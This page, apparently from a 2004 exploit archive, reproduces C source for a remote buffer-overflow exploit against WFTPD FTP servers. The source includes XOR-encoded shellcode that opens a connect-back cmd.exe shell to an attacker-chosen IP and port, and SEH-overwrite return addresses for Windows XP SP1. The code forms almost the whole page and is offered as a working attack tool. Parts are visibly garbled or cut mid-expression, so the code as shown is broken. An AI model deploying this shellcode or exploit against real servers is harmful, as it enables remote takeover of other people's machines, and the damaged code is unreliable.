WFTPD Server buffer overflow Remote Exploit

    
 
/*
                              * WFTPD buffer overflow exploit, (c) axl 2004, 
                              * Discovered by the very same guy :p
                              *
                              * Tested WFTPD versions:
                              *
                              * - WFTPD Pro Server 3.21 Release 1 (trial) (latest version)
                              * - WFTPD Pro Server 3.20 Release 2 (trial)
                              * - WFTPD Server 3.21 Release 1 (trial) (latest version)
                              * - WFTPD Server 3.10 Release 1 (trial)
                              *
                              * Tested exploit with these remote operating systems:
                              *
                              * - Windows XP Pro, SP1
                              *
                              * Should be very easy to support other Windows OSes. You may only have
                              * to update ret_addr.
                              */

                              #include 
                              #pragma comment(lib, "ws2_32.lib")
                              #include 
                              #include 

                              #define MAXLINE 0x1000

                              //#define OLDCODE // Try not to uncomment this...

                              #ifdef OLDCODE
                              static char* ret_addr = "\xAC\x9C\xEC\x77"; 
                              // kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
                              #else
                              /* See the comment in exploit() for the reasons I chose this address */
                              static char* ret_addr = "\x5B\xC0\xEB\x77"; 
                              // kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
                              #endif

                              const unsigned int shlc_offs_enckey = 0x00000025;
                              const unsigned int shlc_offs_encstart = 0x0000002B;
                              const unsigned int shlc_offs_encend = 0x000001B8;
                              unsigned char shlc_code[] =
                              "\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
                              "\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
                              "\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
                              "\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
                              "\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
                              "\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
                              "\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
                              "\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
                              "\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
                              "\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
                              "\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
                              "\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
                              "\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
                              "\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
                              "\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
                              "\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
                              "\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
                              "\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
                              "\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
                              "\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
                              "\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
                              "\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
                              "\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
                              "\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
                              "\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
                              "\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
                              "\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
                              "\x50\x72\x6F\x63\x65\x73\x73\x00";

                              static char inbuf[MAXLINE];
                              static unsigned inoffs = 0;

                              const WFTPD_PRO_321_TRIAL = 0; // WFTPD Pro Server 3.21 Release 1 (trial)
                              const WFTPD_PRO_320_TRIAL = 1; // WFTPD Pro Server 3.20 Release 2 (trial)
                              const WFTPD_321_TRIAL = 2; // WFTPD Server 3.21 Release 1 (trial)
                              const WFTPD_310_TRIAL = 3; // WFTPD Server 3.10 Release 1 (trial)
                              int ftpver = WFTPD_PRO_321_TRIAL;

                              int isrd(SOCKET s)
                              {
                              fd_set r;
                              FD_ZERO(&r);
                              FD_SET(s, &r);
                              timeval t = {0, 0};
                              int ret = select(1, &r, NULL, NULL, &t);
                              if (ret = sizeof(inbuf))
                              {
                              printf("[-] Too long line\n");
                              return 0;
                              }
                              int len = recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
                              if (len = len)
                              {
                              printf("[-] Too small caller buffer\n");
                              return 0;
                              }
                              memcpy(string, inbuf, nlidx);
                              string[nlidx] = 0;
                              if (nlidx > 0 && string[nlidx-1] == '\r')
                              string[nlidx-1] = 0;

                              if (nlidx + 1 >= inoffs)
                              inoffs = 0;
                              else
                              {
                              memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
                              inoffs -= nlidx + 1;
                              }

                              return 1;
                              }

                              int ignorerd(SOCKET s)
                              {
                              inoffs = 0;

                              while (1)
                              {
                              if (!isrd(s))
                              return 1;
                              if (recv(s, inbuf, sizeof(inbuf), 0)  dstlen || dstoffs + srclen > 8);
                              shellcode[4] = (char)(sport >> 8);
                              shellcode[5] = (char)sport;
                              shellcode[6] = (char)(sip >> 24);
                              shellcode[7] = (char)(sip >> 16);
                              shellcode[8] = (char)(sip >> 8);
                              shellcode[9] = (char)sip;
                              for (int i = 0; i  POP REG / POP REG / RET. This is the exception handler
                              * the older versions will execute. WFTPD Pro Server 3.21 will instead execute the
                              * instructions with the bytes in that same address. In this case, it'll execute these
                              * instructions:
                              * 5B POP EBX
                              * C0EB 77 SHR BL,77
                              * 5B POP EBX
                              * C0EB 77 SHR BL,77
                              * EB 1E JMP SHORT ourcode
                              */
                              if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "-WFTPD_EXPLOIT_BY_AXL_(C)_2004-", 31) || // 31-byte string
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "\x90\x90\xEB\x28", 4) || // old fs:[0] OR cookie (p321)
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // exception handler OR old fs:[0] (p321)
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // trylevel OR exception handler (p321)
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "\xEB\x1E\xFE\xFF", 4) || // (p321)
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4))
                              __leave;
                              break;
                              #endif
                              }
                              if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), shellcode, sizeof(shlc_code)-1) || // our code
                              !add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), " \r\n", 3)) // req + end of line
                              __leave;

                              if (!check_invd_bytes("shellcode", shellcode, sizeof(shlc_code)-1) ||
                              !check_invd_bytes("ret_addr", ret_addr, sizeof(ret_addr)-1) ||
                              !check_invd_bytes("sndbuf", sndbuf+5, sndbufidx-3-5))
                              __leave;

                              in_addr a; a.s_addr = htonl(sip);
                              printf("[+] Sending shellcode which will connect to %s:%u...\n", inet_ntoa(a), sport);
                              if (!sendb(s, sndbuf, sndbufidx, 0))
                              {
                              printf("[-] Failed to send shellcode\n");
                              __leave;
                              }
                              printf("[+] Shellcode sent successfully\n");

                              ret = 1;
                              }
                              __finally
                              {
                              delete shellcode;
                              }

                              if (ret == 0)
                              printf("[-] Can't exploit the vulnerability\n");

                              return ret;
                              }

                              int login(SOCKET s, const char* username, const char* userpass)
                              {
                              printf("[+] Logging in...\n");
                              int code;
                              if (!ignorerd(s) || !sends(s, "USER ", 0) || !sends(s, username, 0) ||
                              !sends(s, "\r\n", 0) || (code = get_reply_code(s))     [-u username] [-p userpass] [-v ]\n", pname);
                              exit(1);
                              }

                              int main(int argc, char** argv)
                              {
                              printf("WFTPD 

 F-VNS Security™  Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits